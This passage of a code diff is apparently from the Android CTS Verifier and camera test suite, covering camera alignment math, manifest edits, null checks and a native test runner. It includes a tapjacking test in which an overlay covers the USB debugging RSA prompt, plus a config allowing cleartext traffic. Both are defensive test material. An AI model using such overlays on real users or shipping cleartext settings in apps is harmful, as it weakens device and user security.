+ print 't:', t[i]
+ print 'r:', r[i]
+
+ # Do operation on distorted image
+ print 'Detecting pre-correction circle'
+ circle_distorted = find_circle(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY),
+ '%s_gray_precorr_cam_%s.jpg' % (NAME, i))
+ print 'camera %s circle pre-distortion correction: x, y: %.2f, %.2f' % (
+ i, circle_distorted[0], circle_distorted[1])
# Apply correction to image (if available)
if its.caps.distortion_correction(props):
distort = np.array(props_physical[i]['android.lens.distortion'])
- assert len(distort) == 5, 'radialDistortion has wrong # of params.'
+ assert len(distort) == 5, 'distortion has wrong # of params.'
cv2_distort = np.array([distort[0], distort[1],
distort[3], distort[4],
distort[2]])
+ print ' cv2 distortion params:', cv2_distort
+ its.image.write_image(img/255.0, '%s_raw_%s.jpg' % (
+ NAME, i))
img = cv2.undistort(img, k[i], cv2_distort)
its.image.write_image(img/255.0, '%s_correct_%s.jpg' % (
NAME, i))
# Find the circles in grayscale image
circle[i] = find_circle(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY),
- '%s_gray%s.jpg' % (NAME, i))
+ '%s_gray_%s.jpg' % (NAME, i))
# Find focal length & sensor size
fl[i] = props_physical[i]['android.lens.info.availableFocalLengths'][0]
sensor_diag[i] = math.sqrt(size_raw[i][0] ** 2 + size_raw[i][1] ** 2)
- # Find 3D location of circle centers
- point[i] = np.dot(np.linalg.inv(k[i]),
- np.array([circle[i][0],
- circle[i][1], 1])) * chart_distance * 1.0E-2
+ i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
+ print 'reference camera: %s, secondary camera: %s' % (i_ref, i_2nd)
- ref_index = (e for e in reference if e).next()
- print 'reference camera id:', ref_index
- ref_rotation = rotation[ref_index]
- ref_rotation = ref_rotation.astype(np.float32)
- print 'rotation reference:', ref_rotation
- r = rotation_matrix(ref_rotation)
- if debug:
- print 'r:', r
- t = -1 * trans[ref_index]
- print 't:', t
+ # Convert circle centers to real world coordinates
+ x_w = {}
+ y_w = {}
+ if props['android.lens.facing']:
+ print 'lens facing BACK'
+ chart_distance *= -1 # API spec defines +z i pointing out from screen
+ for i in [i_ref, i_2nd]:
+ x_w[i], y_w[i] = convert_to_world_coordinates(
+ circle[i][0], circle[i][1], r[i], t[i], k[i], chart_distance)
- # Estimate ids[0] circle center from ids[1] & params
- estimated_0 = cv2.projectPoints(point[ids[1]].reshape(1, 3),
- r, t, k[ids[0]], None)[0][0][0]
- err_0 = np.linalg.norm(estimated_0 - circle[ids[0]][:2])
- print 'Circle centers [%s]' % ids[0]
- print 'Measured: %.1f, %.1f' % (circle[ids[0]][1], circle[ids[0]][0])
- print 'Calculated: %.1f, %.1f' % (estimated_0[1],
- estimated_0[0])
- print 'Error(pixels): %.1f' % err_0
+ # Back convert to image coordinates for sanity check
+ x_p = {}
+ y_p = {}
+ x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
+ [x_w[i_ref], y_w[i_ref], chart_distance],
+ r[i_2nd], t[i_2nd], k[i_2nd])
+ x_p[i_ref], y_p[i_ref] = convert_to_image_coordinates(
+ [x_w[i_2nd], y_w[i_2nd], chart_distance],
+ r[i_ref], t[i_ref], k[i_ref])
- # Estimate ids[0] circle center from ids[1] & params
- estimated_1 = cv2.projectPoints(point[ids[0]].reshape(1, 3),
- r.T, -np.dot(r, t), k[ids[1]],
- None)[0][0][0]
- err_1 = np.linalg.norm(estimated_1 - circle[ids[1]][:2])
- print 'Circle centers [%s]' % ids[1]
- print 'Measured: %.1f, %.1f' % (circle[ids[1]][1], circle[ids[1]][0])
- print 'Calculated: %.1f, %.1f' % (estimated_1[1], estimated_1[0])
- print 'Error(pixels): %.1f' % err_1
+ # Summarize results
+ for i in [i_ref, i_2nd]:
+ print ' Camera: %s' % i
+ print ' x, y (pixels): %.1f, %.1f' % (circle[i][0], circle[i][1])
+ print ' x_w, y_w (mm): %.2f, %.2f' % (x_w[i]*1.0E3, y_w[i]*1.0E3)
+ print ' x_p, y_p (pixels): %.1f, %.1f' % (x_p[i], y_p[i])
- err_0 /= math.sqrt(size_raw[ids[0]][0]**2 + size_raw[ids[0]][1]**2)
- err_1 /= math.sqrt(size_raw[ids[1]][0]**2 + size_raw[ids[1]][1]**2)
- msg = '%s -> %s center error too large! val=%.1f%%, THRESH=%.f%%' % (
- ids[1], ids[0], err_0*100, ALIGN_TOL_PERCENT)
- assert err_0*100 < ALIGN_TOL_PERCENT, msg
- msg = '%s -> %s center error too large! val=%.1f%%, THRESH=%.f%%' % (
- ids[0], ids[1], err_1*100, ALIGN_TOL_PERCENT)
- assert err_1*100 < ALIGN_TOL_PERCENT, msg
+ # Check center locations
+ err = np.linalg.norm(np.array([x_w[i_ref], y_w[i_ref]]) -
+ np.array([x_w[i_2nd], y_w[i_2nd]]))
+ print '\nCenter location err (mm): %.2f' % (err*1E3)
+ msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
+ msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_TOL_MM*1E3)
+ assert err < ALIGN_TOL, msg
+
+ # Check projections back into pixel space
+ for i in [i_ref, i_2nd]:
+ err = np.linalg.norm(np.array([circle[i][0], circle[i][1]]) -
+ np.array([x_p[i], y_p[i]]))
+ print 'Camera %s projection error (pixels): %.1f' % (i, err)
+ tol = ALIGN_TOL * sensor_diag[i]
+ msg = 'Camera %s project locations too different!' % i
+ msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
+ assert err < tol, msg
# Check focal length and circle size if more than 1 focal length
if len(avail_fls) > 1:
- print 'circle_0: %.2f, circle_1: %.2f' % (
- circle[ids[0]][2], circle[ids[1]][2])
- print 'fl_0: %.2f, fl_1: %.2f' % (fl[ids[0]], fl[ids[1]])
- print 'diag_0: %.2f, diag_1: %.2f' % (
- sensor_diag[ids[0]], sensor_diag[ids[1]])
- msg = 'Circle size does not scale properly.'
- assert np.isclose(circle[ids[0]][2]/fl[ids[0]]*sensor_diag[ids[0]],
- circle[ids[1]][2]/fl[ids[1]]*sensor_diag[ids[1]],
- rtol=CIRCLE_TOL_PERCENT/100.0), msg
+ print 'Circle radii (pixels); ref: %.1f, 2nd: %.1f' % (
+ circle[i_ref][2], circle[i_2nd][2])
+ print 'Focal lengths (diopters); ref: %.2f, 2nd: %.2f' % (
+ fl[i_ref], fl[i_2nd])
+ print 'Sensor diagonals (pixels); ref: %.2f, 2nd: %.2f' % (
+ sensor_diag[i_ref], sensor_diag[i_2nd])
+ msg = 'Circle size scales improperly! RTOL=%.1f' % CIRCLE_RTOL
+ msg += '\nMetric: radius/focal_length*sensor_diag should be equal.'
+ assert np.isclose(circle[i_ref][2]/fl[i_ref]*sensor_diag[i_ref],
+ circle[i_2nd][2]/fl[i_2nd]*sensor_diag[i_2nd],
+ rtol=CIRCLE_RTOL), msg
if __name__ == '__main__':
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index c8d2bac..a6e0402 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -67,9 +67,7 @@
"test_lens_movement_reporting",
"test_lens_position"
],
- "scene4": [
- "test_multi_camera_alignment"
- ],
+ "scene4": [],
"scene5": [],
"sensor_fusion": []
}
@@ -338,7 +336,7 @@
# Extract chart from scene for scene3 once up front
chart_loc_arg = ''
if scene == 'scene3':
- if float(camera_fov) < 90 and np.isclose(chart_distance, 20,
+ if float(camera_fov) < 90 and np.isclose(chart_distance, 22,
rtol=0.1):
chart_height *= 0.67
chart = its.cv2image.Chart(SCENE3_FILE, chart_height,
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index edb538f..233a309 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -76,7 +76,8 @@
<!-- Needed for Telecom self-managed ConnectionService tests. -->
<uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
- <application android:label="@string/app_name"
+ <application android:networkSecurityConfig="@xml/network_security_config"
+ android:label="@string/app_name"
android:icon="@drawable/icon"
android:debuggable="true"
android:largeHeap="true"
@@ -576,7 +577,8 @@
CTS Verifier BLE Insecure Client Encrypted Test Screen
test category : bt_le
test parent : BleInsecureClientTestListActivity
- -->
+ -->
+ <!-- TODO(b/78538657)
<activity
android:name=".bluetooth.BleInsecureEncryptedClientTestActivity"
android:configChanges="keyboardHidden|orientation|screenSize"
@@ -597,7 +599,8 @@
<meta-data
android:name="test_required_features"
android:value="android.hardware.bluetooth_le" />
- </activity>
+ </activity>
+ -->
<!--
=================================================================================
@@ -687,6 +690,7 @@
test category : bt_le
test parent : BleInsecureServerTestListActivity
-->
+ <!-- TODO(b/78538657)
<activity
android:name=".bluetooth.BleInsecureEncryptedServerTestActivity"
android:configChanges="keyboardHidden|orientation|screenSize"
@@ -708,6 +712,7 @@
android:name="test_required_features"
android:value="android.hardware.bluetooth_le" />
</activity>
+ -->
<!--
=================================================================================
@@ -1194,7 +1199,8 @@
<category android:name="android.cts.intent.category.MANUAL_TEST"/>
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
- <meta-data android:name="test_required_features" android:value="android.hardware.location.gps:android.hardware.wifi" />
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.location.gps:android.hardware.wifi:android.hardware.telephony"/>
</activity>
<activity android:name=".location.EmergencyCallMessageTestsActivity"
@@ -1205,7 +1211,8 @@
<category android:name="android.cts.intent.category.MANUAL_TEST"/>
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
- <meta-data android:name="test_required_features" android:value="android.hardware.location.gps:android.hardware.wifi:android.hardware.telephony"/>
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.location.gps:android.hardware.wifi:android.hardware.telephony"/>
</activity>
<activity android:name=".location.EmergencyCallGNSSTestsActivity"
@@ -1216,7 +1223,8 @@
<category android:name="android.cts.intent.category.MANUAL_TEST"/>
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
- <meta-data android:name="test_required_features" android:value="android.hardware.location.gps:android.hardware.wifi" />
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.location.gps:android.hardware.wifi:android.hardware.telephony"/>
</activity>
<activity android:name=".location.GnssMeasurementWhenNoLocationTestsActivity"
@@ -1891,6 +1899,10 @@
<activity android:name=".managedprovisioning.RecentsRedactionActivity"
android:label="@string/provisioning_byod_recents" >
+ </activity>
+ <activity android:name=".managedprovisioning.IntermediateRecentActivity"
+ android:label="@string/provisioning_byod_recents"
+ android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="com.android.cts.verifier.managedprovisioning.RECENTS" />
<category android:name="android.intent.category.DEFAULT"></category>
diff --git a/apps/CtsVerifier/res/layout/tapjacking.xml b/apps/CtsVerifier/res/layout/tapjacking.xml
index 6e5ca73..998e624 100644
--- a/apps/CtsVerifier/res/layout/tapjacking.xml
+++ b/apps/CtsVerifier/res/layout/tapjacking.xml
@@ -31,8 +31,7 @@
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_alignParentRight="true"
- android:layout_alignParentTop="true"
- android:text="@string/usb_tapjacking_test_instructions" />
+ android:layout_alignParentTop="true" />
<Button android:id="@+id/tapjacking_btn"
android:text="@string/usb_tapjacking_button_text"
diff --git a/apps/CtsVerifier/res/values-watch/strings.xml b/apps/CtsVerifier/res/values-watch/strings.xml
index 7fb22e9..ca06686 100644
--- a/apps/CtsVerifier/res/values-watch/strings.xml
+++ b/apps/CtsVerifier/res/values-watch/strings.xml
@@ -59,4 +59,5 @@
6) Unlock the device.\n
7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
</string>
+ <string name="usb_tapjacking_usb_debugging_component">com.google.android.apps.wearable.settings/com.google.android.clockwork.settings.SecureAdbActivityAlias</string>
</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index a19ad9c..1610338 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1085,12 +1085,13 @@
<string name="usb_tapjacking_test_instructions">
1. Connect device via usb to computer.\n
2. Click \"Show overlay\" button. Settings may appear if the CTS Verifier app doesn\'t have display over apps permission. Enable this permission and then click back to navigate back to the app.\n
- 3. Trigger USB debugging dialog (from computer terminal): \"adb shell am start -e fingerprints placeholder -e key placeholder com.android.systemui/.UsbDebuggingActivityAlias\"\n
- 4. USB debugging dialog should appear with the overlay on top saying \"This message covers the USB debugging RSA prompt\" to appear.\n
+ 3. Trigger USB debugging dialog (from computer terminal): \"adb shell am start -e fingerprints placeholder -e key placeholder %s\"\n
+ 4. USB debugging dialog should appear. If the overlay cannot be seen above the USB debugging dialog, PASS this test (no need to proceed to Step 5). Else, if the overlay does appear on top saying \"This message covers the USB debugging RSA prompt\", continue to Step 5.\n
5. Try clicking OK. \n
Test pass if you cannot click OK when the text quoted above is on top of the USB debugging dialog. Toast should appear saying there is an overlay so Settings cannot verify your response. \n
Note: Fake message overlay may remain on screen until you leave the test. This is working as intended. \n
</string>
+ <string name="usb_tapjacking_usb_debugging_component">com.android.systemui/.UsbDebuggingActivityAlias</string>
<string name="usb_tapjacking_overlay_message">This message covers the USB debugging RSA prompt</string>
<string name="usb_tapjacking_error_toast">Please restart the application and try again.</string>
<string name="usb_tapjacking_error_toast2">Please enable display over apps permission for this application before proceeding.</string>
diff --git a/apps/CtsVerifier/res/xml/network_security_config.xml b/apps/CtsVerifier/res/xml/network_security_config.xml
new file mode 100644
index 0000000..c15c09c
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+ <base-config cleartextTrafficPermitted="true"/>
+</network-security-config>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
index 17319d6..6371857 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
@@ -17,6 +17,7 @@
package com.android.cts.verifier.admin.tapjacking;
import android.content.Intent;
+import android.content.res.Resources;
import android.graphics.PixelFormat;
import android.os.Bundle;
import android.provider.Settings;
@@ -26,6 +27,7 @@
import android.view.ViewGroup;
import android.view.WindowManager;
import android.widget.Button;
+import android.widget.TextView;
import android.widget.Toast;
import com.android.cts.verifier.PassFailButtons;
@@ -33,6 +35,7 @@
public class UsbTest extends PassFailButtons.Activity {
private View mOverlay;
+ private TextView mUsbTapjackingInstructions;
private Button mTriggerOverlayButton;
public static final String LOG_TAG = "UsbTest";
@@ -45,8 +48,12 @@
setInfoResources(R.string.usb_tapjacking_test,
R.string.usb_tapjacking_test_info, -1);
+ String usbDebuggingComponent = getString(R.string.usb_tapjacking_usb_debugging_component);
+ mUsbTapjackingInstructions = findViewById(R.id.usb_tapjacking_instructions);
+ mUsbTapjackingInstructions.setText(
+ getString(R.string.usb_tapjacking_test_instructions, usbDebuggingComponent));
//initialise the escalate button and set a listener
- mTriggerOverlayButton = (Button) findViewById(R.id.tapjacking_btn);
+ mTriggerOverlayButton = findViewById(R.id.tapjacking_btn);
mTriggerOverlayButton.setEnabled(true);
mTriggerOverlayButton.setOnClickListener(new View.OnClickListener() {
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java
index 465573c..24a097d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/HidDeviceActivity.java
@@ -190,6 +190,11 @@
private boolean getConnectedDevice() {
+ if (mBluetoothHidDevice == null) {
+ Log.w(TAG, "mBluetoothHidDevice is null");
+ return false;
+ }
+
List<BluetoothDevice> connectedDevices = mBluetoothHidDevice.getConnectedDevices();
if (connectedDevices.size() == 0) {
return false;
@@ -199,6 +204,11 @@
}
private void testSendReport() {
+ if (mBluetoothHidDevice == null) {
+ Log.w(TAG, "mBluetoothHidDevice is null");
+ return;
+ }
+
if (mHidHost == null) {
if (mBluetoothHidDevice.getConnectedDevices().size() == 0) {
Log.w(TAG, "HID host not connected");
@@ -219,6 +229,11 @@
}
private void testReplyReport() {
+ if (mBluetoothHidDevice == null) {
+ Log.w(TAG, "mBluetoothHidDevice is null");
+ return;
+ }
+
if (mHidHost == null) {
if (mBluetoothHidDevice.getConnectedDevices().size() == 0) {
Log.w(TAG, "HID host not connected");
@@ -235,6 +250,11 @@
}
private void testReportError() {
+ if (mBluetoothHidDevice == null) {
+ Log.w(TAG, "mBluetoothHidDevice is null");
+ return;
+ }
+
if (mHidHost == null) {
if (mBluetoothHidDevice.getConnectedDevices().size() == 0) {
Log.w(TAG, "HID host not connected");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 9110a4c..9511b16 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -415,7 +415,8 @@
mRecentsTest = TestListItem.newTest(this,
R.string.provisioning_byod_recents,
RecentsRedactionActivity.class.getName(),
- new Intent(RecentsRedactionActivity.ACTION_RECENTS),
+ new Intent(RecentsRedactionActivity.ACTION_RECENTS).setFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK),
null);
mOrganizationInfoTest = TestListItem.newTest(this,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
index 649eaac..485e4d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
@@ -40,7 +40,7 @@
AuthenticationBoundKeyTestActivity.class.getName(),
VpnTestActivity.class.getName(),
AlwaysOnVpnSettingsTestActivity.class.getName(),
- RecentsRedactionActivity.class.getName(),
+ IntermediateRecentActivity.class.getName(),
CommandReceiverActivity.class.getName(),
SetSupportMessageActivity.class.getName(),
KeyChainTestActivity.class.getName(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntermediateRecentActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntermediateRecentActivity.java
new file mode 100644
index 0000000..6395779
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntermediateRecentActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Handles com.android.cts.verifier.managedprovisioning.RECENTS intent sent
+ * from main profile to work profile.
+ *
+ * {@link RecentsRedactionActivity} is required to stay in Recents to complete
+ * "Recent Redaction Test". However a {@link Intent#FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS} will be
+ * added by framework when intent {@link RecentsRedactionActivity#ACTION_RECENTS} is sent from
+ * personal profile to work profile. By adding this {@link IntermediateRecentActivity} and
+ * let it hanlde {@link RecentsRedactionActivity#ACTION_RECENTS} and then start
+ * {@link IntermediateRecentActivity} in a new task, we can make sure no
+ * {@link Intent#FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS} is added for starting
+ * {@link IntermediateRecentActivity}.
+ */
+public class IntermediateRecentActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ startActivity(new Intent(this, RecentsRedactionActivity.class).addFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK));
+ finish();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
index 260ffbf..45439a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
@@ -30,6 +30,7 @@
import org.opencv.core.MatOfFloat;
import org.opencv.core.MatOfPoint2f;
import org.opencv.core.MatOfPoint3f;
+import org.opencv.core.Point;
import org.opencv.core.Size;
import org.opencv.imgcodecs.Imgcodecs;
import org.opencv.imgproc.Imgproc;
@@ -65,7 +66,7 @@
private static final boolean OUTPUT_DEBUG_IMAGE = false;
private static final double VALID_FRAME_THRESHOLD = 0.8;
- private static final double REPROJECTION_THREASHOLD_RATIO = 0.008;
+ private static final double REPROJECTION_THRESHOLD_RATIO = 0.03;
private static final boolean FORCE_CV_ANALYSIS = false;
private static final boolean TRACE_VIDEO_ANALYSIS = false;
private static final double DECIMATION_FPS_TARGET = 15.0;
@@ -811,7 +812,9 @@
Debug.startMethodTracing("cvprocess");
}
- Size patternSize = new Size(4,11);
+ final int patternWidth = 4;
+ final int patternHeight = 11;
+ Size patternSize = new Size(patternWidth, patternHeight);
float fc = (float)(meta.frameWidth/2.0/Math.tan(meta.fovWidth/2.0));
Mat camMat = cameraMatrix(fc, new Size(frameSize.width/2, frameSize.height/2));
@@ -884,9 +887,19 @@
Log.v(TAG, "Found attitude, re-projection error = " + error);
}
- // if error is reasonable, add it into the results. use ratio to frame height to avoid
- // discriminating higher definition videos
- if (error < REPROJECTION_THREASHOLD_RATIO * frameSize.height) {
+ // Calculate the average distance between opposite corners of the pattern in pixels
+ Point[] centerPoints = centers.toArray();
+ Point bottomLeftPos = centerPoints[0];
+ Point bottomRightPos = centerPoints[patternWidth - 1];
+ Point topLeftPos = centerPoints[(patternHeight * patternWidth) - patternWidth];
+ Point topRightPos = centerPoints[(patternHeight * patternWidth) - 1];
+ double avgPixelDist = (getDistanceBetweenPoints(bottomLeftPos, topRightPos)
+ + getDistanceBetweenPoints(bottomRightPos, topLeftPos)) / 2;
+
+ // if error is reasonable, add it into the results. Use a dynamic threshold based on
+ // the pixel distance of opposite corners of the pattern to prevent higher resolution
+ // video or the distance between the camera and the test pattern from impacting the test
+ if (error < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
double [] rv = new double[3];
double timestamp;
@@ -1325,6 +1338,10 @@
private static double [] rodr2rpy( double [] r) {
return quat2rpy(rodr2quat(r));
}
+
+ private double getDistanceBetweenPoints(Point a, Point b) {
+ return Math.sqrt(Math.pow(a.x - b.x, 2) + Math.pow(a.y - b.y, 2));
+ }
//////////////////
}
diff --git a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
index 1f91b3a..eda919c 100644
--- a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
+++ b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
@@ -14,11 +14,17 @@
* limitations under the License.
*/
+#include <sstream>
+#include <unordered_map>
+#include <vector>
+
#include <jni.h>
#include <nativehelper/ScopedLocalRef.h>
#include <gtest/gtest.h>
-static struct {
+namespace {
+
+struct {
jclass clazz;
/** static methods **/
@@ -28,7 +34,7 @@
jmethodID addChild;
} gDescription;
-static struct {
+struct {
jclass clazz;
jmethodID fireTestStarted;
@@ -38,26 +44,50 @@
} gRunNotifier;
-static struct {
+struct {
jclass clazz;
jmethodID ctor;
} gAssertionFailure;
-static struct {
+struct {
jclass clazz;
jmethodID ctor;
} gFailure;
jobject gEmptyAnnotationsArray;
-static jobject createTestDescription(JNIEnv* env, const char* className, const char* testName) {
- ScopedLocalRef<jstring> jClassName(env, env->NewStringUTF(className));
- ScopedLocalRef<jstring> jTestName(env, env->NewStringUTF(testName));
- return env->CallStaticObjectMethod(gDescription.clazz, gDescription.createTestDescription,
- jClassName.get(), jTestName.get(), gEmptyAnnotationsArray);
+struct TestNameInfo {
+ std::string nativeName;
+ bool run;
+};
+// Maps mangled test names to native test names.
+std::unordered_map<std::string, TestNameInfo> gNativeTestNames;
+
+// Return the full native test name as a Java method name, which does not allow
+// slashes or dots. Store the original name for later lookup.
+std::string registerAndMangleTestName(const std::string& nativeName) {
+ std::string mangledName = nativeName;
+ std::replace(mangledName.begin(), mangledName.end(), '.', '_');
+ std::replace(mangledName.begin(), mangledName.end(), '/', '_');
+ gNativeTestNames.insert(std::make_pair(mangledName, TestNameInfo{nativeName, false}));
+ return mangledName;
}
-static void addChild(JNIEnv* env, jobject description, jobject childDescription) {
+// Creates org.junit.runner.Description object for a GTest given its name.
+jobject createTestDescription(JNIEnv* env, jstring className, const std::string& mangledName) {
+ ScopedLocalRef<jstring> jTestName(env, env->NewStringUTF(mangledName.c_str()));
+ return env->CallStaticObjectMethod(gDescription.clazz, gDescription.createTestDescription,
+ className, jTestName.get(), gEmptyAnnotationsArray);
+}
+
+jobject createTestDescription(JNIEnv* env, jstring className, const char* testCaseName, const char* testName) {
+ std::ostringstream nativeNameStream;
+ nativeNameStream << testCaseName << "." << testName;
+ std::string mangledName = registerAndMangleTestName(nativeNameStream.str());
+ return createTestDescription(env, className, mangledName);
+}
+
+void addChild(JNIEnv* env, jobject description, jobject childDescription) {
env->CallVoidMethod(description, gDescription.addChild, childDescription);
}
@@ -65,25 +95,26 @@
class JUnitNotifyingListener : public ::testing::EmptyTestEventListener {
public:
- JUnitNotifyingListener(JNIEnv* env, jobject runNotifier)
+ JUnitNotifyingListener(JNIEnv* env, jstring className, jobject runNotifier)
: mEnv(env)
, mRunNotifier(runNotifier)
+ , mClassName(className)
, mCurrentTestDescription{env, nullptr}
{}
virtual ~JUnitNotifyingListener() {}
virtual void OnTestStart(const testing::TestInfo &testInfo) override {
mCurrentTestDescription.reset(
- createTestDescription(mEnv, testInfo.test_case_name(), testInfo.name()));
+ createTestDescription(mEnv, mClassName, testInfo.test_case_name(), testInfo.name()));
notify(gRunNotifier.fireTestStarted);
}
virtual void OnTestPartResult(const testing::TestPartResult &testPartResult) override {
if (!testPartResult.passed()) {
- char message[1024];
- snprintf(message, 1024, "%s:%d\n%s", testPartResult.file_name(), testPartResult.line_number(),
- testPartResult.message());
- ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(message));
+ std::ostringstream messageStream;
+ messageStream << testPartResult.file_name() << ":" << testPartResult.line_number()
+ << "\n" << testPartResult.message();
+ ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(messageStream.str().c_str()));
ScopedLocalRef<jobject> jthrowable(mEnv, mEnv->NewObject(gAssertionFailure.clazz,
gAssertionFailure.ctor, jmessage.get()));
ScopedLocalRef<jobject> jfailure(mEnv, mEnv->NewObject(gFailure.clazz,
@@ -97,19 +128,11 @@
mCurrentTestDescription.reset();
}
- virtual void OnTestProgramEnd(const testing::UnitTest& unitTest) override {
- // Invoke the notifiers for all the disabled tests
- for (int testCaseIndex = 0; testCaseIndex < unitTest.total_test_case_count(); testCaseIndex++) {
- auto testCase = unitTest.GetTestCase(testCaseIndex);
- for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
- auto testInfo = testCase->GetTestInfo(testIndex);
- if (!testInfo->should_run()) {
- mCurrentTestDescription.reset(
- createTestDescription(mEnv, testCase->name(), testInfo->name()));
- notify(gRunNotifier.fireTestIgnored);
- mCurrentTestDescription.reset();
- }
- }
+ void reportDisabledTests(const std::vector<std::string>& mangledNames) {
+ for (const std::string& mangledName : mangledNames) {
+ mCurrentTestDescription.reset(createTestDescription(mEnv, mClassName, mangledName));
+ notify(gRunNotifier.fireTestIgnored);
+ mCurrentTestDescription.reset();
}
}
@@ -120,12 +143,15 @@
JNIEnv* mEnv;
jobject mRunNotifier;
+ jstring mClassName;
ScopedLocalRef<jobject> mCurrentTestDescription;
};
+} // namespace
+
extern "C"
JNIEXPORT void JNICALL
-Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jobject suite) {
+Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jstring className, jobject suite) {
// Initialize gtest, removing the default result printer
int argc = 1;
const char* argv[] = { "gtest_wrapper" };
@@ -142,6 +168,7 @@
jclass annotations = env->FindClass("java/lang/annotation/Annotation");
gEmptyAnnotationsArray = env->NewGlobalRef(env->NewObjectArray(0, annotations, nullptr));
+ gNativeTestNames.clear();
gAssertionFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("java/lang/AssertionError"));
gAssertionFailure.ctor = env->GetMethodID(gAssertionFailure.clazz, "<init>", "(Ljava/lang/Object;)V");
@@ -167,19 +194,58 @@
for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
auto testInfo = testCase->GetTestInfo(testIndex);
ScopedLocalRef<jobject> testDescription(env,
